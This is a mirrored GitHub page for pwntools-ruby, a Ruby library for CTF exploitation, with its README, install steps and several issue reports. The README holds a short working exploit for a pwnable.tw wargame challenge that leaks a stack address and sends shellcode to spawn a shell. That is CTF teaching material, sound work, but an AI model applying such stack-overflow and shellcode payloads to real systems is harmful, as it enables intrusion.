Giter Club home page Giter Club logo

pwntools-ruby's Introduction

GitHub stars GitHub issues Build Status Test Coverage Code Climate Inline docs MIT License Dependabot Status Rawsec's CyberSecurity Inventory

pwntools-ruby

Always sad when playing CTF that there's nothing equivalent to pwntools in Python. While pwntools is awesome, I always love Ruby far more than Python... So this is an attempt to create such library.

Would try to have consistent naming with original pwntools, and do things in Ruby style.

Example Usage

Here's an exploitation for start which is a challenge on pwnable.tw.

# encoding: ASCII-8BIT
# The encoding line is important most time, or you'll get "\u0000" when using "\x00" in code,
# which is NOT what we want when doing pwn...

require 'pwn'

context.arch = 'i386'
context.log_level = :debug
z = Sock.new 'chall.pwnable.tw', 10000

z.recvuntil "Let's start the CTF:"
z.send p32(0x8048087).rjust(0x18, 'A')
stk = u32(z.recvuntil "\xff")
log.info "stack address: #{stk.hex}" # Log stack address

# Return to shellcode
addr = stk + 0x14
payload = addr.p32.rjust(0x18, 'A') + asm(shellcraft.sh)
z.write payload

# Switch to interactive mode
z.interact

More features and details can be found in the documentation.

Installation

Install the latest release:

gem install pwntools

Install from master branch:

git clone https://github.com/peter50216/pwntools-ruby
cd pwntools-ruby
bundle install && bundle exec rake install

optional

Some of the features (assembling/disassembling) require non-Ruby dependencies. Checkout the installation guide for keystone-engine and capstone-engine.

Or you are able to get running quickly with

# Install Capstone
sudo apt-get install libcapstone3

# Compile and install Keystone from source
sudo apt-get install cmake
git clone https://github.com/keystone-engine/keystone.git /tmp/keystone
cd /tmp/keystone
mkdir build
cd build
../make-share.sh
sudo make install

Supported Features

Architectures

  • i386
  • amd64
  • arm
  • thumb

Modules

  • context
  • asm
  • disasm
  • shellcraft
  • elf
  • dynelf
  • logger
  • tube
    • sock
    • process
    • serialtube
  • fmtstr
  • util
    • pack
    • cyclic
    • fiddling

Development

git clone https://github.com/peter50216/pwntools-ruby
cd pwntools-ruby
bundle
bundle exec rake

Note to irb users

irb defines main.context.

For the ease of exploit development in irb, that method would be removed if you use require 'pwn'.

You can still get the IRB::Context by irb_context.

pwntools-ruby's People

Contributors

david942j avatar dependabot-preview[bot] avatar dependabot[bot] avatar hanhanw avatar jonathanbeverley avatar peter50216 avatar shikchen avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

pwntools-ruby's Issues

Dependabot can't resolve your Ruby dependency files

Dependabot can't resolve your Ruby dependency files.

As a result, Dependabot couldn't update your dependencies.

The error Dependabot encountered was:

Bundler::VersionConflict with message: Bundler found conflicting requirements for the Ruby version:
  In Gemfile:
    Ruby (~> 2.3.8.0)

    rubocop (~> 1) was resolved to 1.12.1, which depends on
      rubocop-ast (>= 1.2.0, < 2.0) was resolved to 1.4.1, which depends on
        Ruby (>= 2.4)

If you think the above is an error on Dependabot's side please don't hesitate to get in touch - we'll do whatever we can to fix it.

View the update logs.

Let methods in shellcraft be documented

Currently all files under shellcraft/templates cannot be documented.
Need redesign the shellcraft module to do so.

Features we want for shellcraft are listed as follows(so we can make sure our new design fulfills them):

  1. Support multi-architecture (currently i386/amd64).
  2. When one invokes shellcraft.sh, it would find the correct assembly according to context.arch.
  3. All public methods are documented.
  4. Since there are many common codes between these two architecture, we need DRY (currently we use x86 directory to achieve this)
  5. Don't be confused between shellcraft.connect and shellcraft.syscall.connect, which was a bug in pwntools-python.
  6. [Discuss] Do we really need to support something like shellcraft.i386.linux.sh under amd64 context? One can use context.local to achieve calling another architecture's assemblies.

Add tips to README about installation

  • If you see error message
    can't find header files for ruby at /usr/lib/ruby/include/ruby.h while installing
    try: [sudo] apt-get install ruby-dev and install pwntools again
  • Error would occur when installing the gem rainbow, with an error message that rake is not installed - don't know why, might be rainbow's bug

Nested countdown false positive

t = Timer.new
t.countdown(0.1) { sleep 0.2 } rescue nil
t.countdown(0.1) { } # <- should not raise RuntimeError but it does

Bug: recvuntil

Tube::recvuntil optionally takes a timeout. If provided, it enters a loop like

while @timer.active?
  s = recv(1)
  return '' if s.empty?
  # process s
end

However, that return bails out of the whole function, not the @Timer loop. Should be next if s.empty?

Inventory notification

Your tool/software has been inventoried on Rawsec's CyberSecurity Inventory.

What is Rawsec's CyberSecurity Inventory?

An inventory of tools and resources about CyberSecurity. This inventory aims to help people to find everything related to CyberSecurity.

  • Open source: Every information is available and up to date. If an information is missing or deprecated, you are invited to (help us).
  • Practical: Content is categorized and table formatted, allowing to search, browse, sort and filter.
  • Fast: Using static and client side technologies resulting in fast browsing.
  • Rich tables: search, sort, browse, filter, clear
  • Fancy informational popups
  • Badges / Shields
  • Static API
  • Twitter bot

More details about features here.

Note: the inventory is a FLOSS (Free, Libre and Open-Source Software) project.

Why?

  • Specialized websites: Some websites are referencing tools but additional information is not available or browsable. Make additional searches take time.
  • Curated lists: Curated lists are not very exhaustive, up to date or browsable and are very topic related.
  • Search engines: Search engines sometimes does find nothing, some tools or resources are too unknown or non-referenced. These is where crowdsourcing is better than robots.

Why should you care about being inventoried?

Mainly because this is giving visibility to your tool, more and more people are using the Rawsec's CyberSecurity Inventory, this helps them find what they need.

Badges

The badge shows to your community that your are inventoried. This also shows you care about your project and want it growing, that your tool is not an abandonware.

Feel free to claim your badge here: http://inventory.rawsec.ml/features.html#badges, it looks like that Rawsec's CyberSecurity Inventory, but there are several styles available.

So what?

That's all, this message is just to notify you if you care.

Thanks

Just an way to say you you had a wonderful idea and that people in infosec love ruby too ❤️ 💎

Feature: shellcraft.sleep

Expected usage: shellcraft.sleep(1)

Since syscall nanosleep accepts data pointers as arguments, needs an optional address parameter:

incompatible character encodings: ASCII-8BIT and UTF-8 (Encoding::CompatibilityError)

Tested on OSX 10.13.3 and Ubuntu 16.04, both using Ruby version 2.4.3 and pwntools-1.0.1 from master branch using example provided on pwntools-ruby project Github homepage.

[DEBUG] Received 0x14 bytes:
00000000 4c 65 74 27 73 20 73 74 61 72 74 20 74 68 65 20 │Let'│s st│art │the │
00000010 43 54 46 3a │CTF:│
00000014
[DEBUG] Sent 0x18 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000010 41 41 41 41 87 80 04 08 │AAAA│····│
00000018
[DEBUG] Received 0x14 bytes:
00000000 20 a7 c1 ff 01 00 00 00 38 af c1 ff 00 00 00 00 │ ···│····│8···│····│
00000010 4a af c1 ff │J···│
00000014
/Users/sp00k/.rvm/gems/ruby-2.4.3/gems/pwntools-1.0.1/lib/pwnlib/tubes/tube.rb:148:in index': incompatible character encodings: ASCII-8BIT and UTF-8 (Encoding::CompatibilityError) from /Users/sp00k/.rvm/gems/ruby-2.4.3/gems/pwntools-1.0.1/lib/pwnlib/tubes/tube.rb:148:in block (2 levels) in recvuntil'
from /Users/sp00k/.rvm/gems/ruby-2.4.3/gems/pwntools-1.0.1/lib/pwnlib/tubes/tube.rb:147:in each' from /Users/sp00k/.rvm/gems/ruby-2.4.3/gems/pwntools-1.0.1/lib/pwnlib/tubes/tube.rb:147:in block in recvuntil'
from /Users/sp00k/.rvm/gems/ruby-2.4.3/gems/pwntools-1.0.1/lib/pwnlib/timer.rb:54:in countdown' from /Users/sp00k/.rvm/gems/ruby-2.4.3/gems/pwntools-1.0.1/lib/pwnlib/tubes/tube.rb:131:in recvuntil'
from ./start.rb:9:in `

'

Python's equivalent of "process" of pwntools

Hello, I did not find the answer in your documentation.

Python pwntools

process = process('...')
process.recvuntil("...")
process.sendline('...')

Equivalent with 'pwntools-ruby' ?
Thanks.

Package 'method_source' version conflicts with newer version of pry

pry version 0.13.0 depends on method_source ~> 1.0, but pwntools-ruby use ~> 0.9. This cause an error when trying to require "pwn" inside newer version of pry:

[1] pry(main)> require 'pwn'
Gem::ConflictError: Unable to activate pwntools-1.2.0, because method_source-1.0.0 conflicts with method_source (~> 0.9)
from ~/.rbenv/versions/2.7.1/lib/ruby/2.7.0/rubygems/specification.rb:2243:in `raise_if_conflicts'
Caused by Gem::ConflictError: Unable to activate pwntools-1.2.0, because method_source-1.0.0 conflicts with method_source (~> 0.9)
from ~/.rbenv/versions/2.7.1/lib/ruby/2.7.0/rubygems/specification.rb:2243:in `raise_if_conflicts'
Caused by LoadError: cannot load such file -- pwn
from ~/.rbenv/versions/2.7.1/lib/ruby/2.7.0/rubygems/core_ext/kernel_require.rb:92:in `require'

Test failure: SockTests

These test open a hard-coded port on localhost and sends some data through it. However, since the tests are run in parallel, only one run gets the port and the others error out.

Each sub test should use a different port.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.